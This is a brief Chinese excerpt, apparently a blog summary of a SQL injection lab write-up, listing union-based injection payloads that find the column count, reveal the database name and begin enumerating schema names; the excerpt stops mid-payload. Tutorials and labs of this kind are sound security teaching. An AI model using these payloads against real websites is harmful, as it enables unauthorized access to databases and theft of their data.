摘要：联合 ?id=1' order by 3 --+ 最后得出是3列 ?id=-1' union select1,2,3 --+ ?id=-1' union select1,2,database() --+ ?id=-1' union select 1,2,group_concat(schema_nam 阅读全文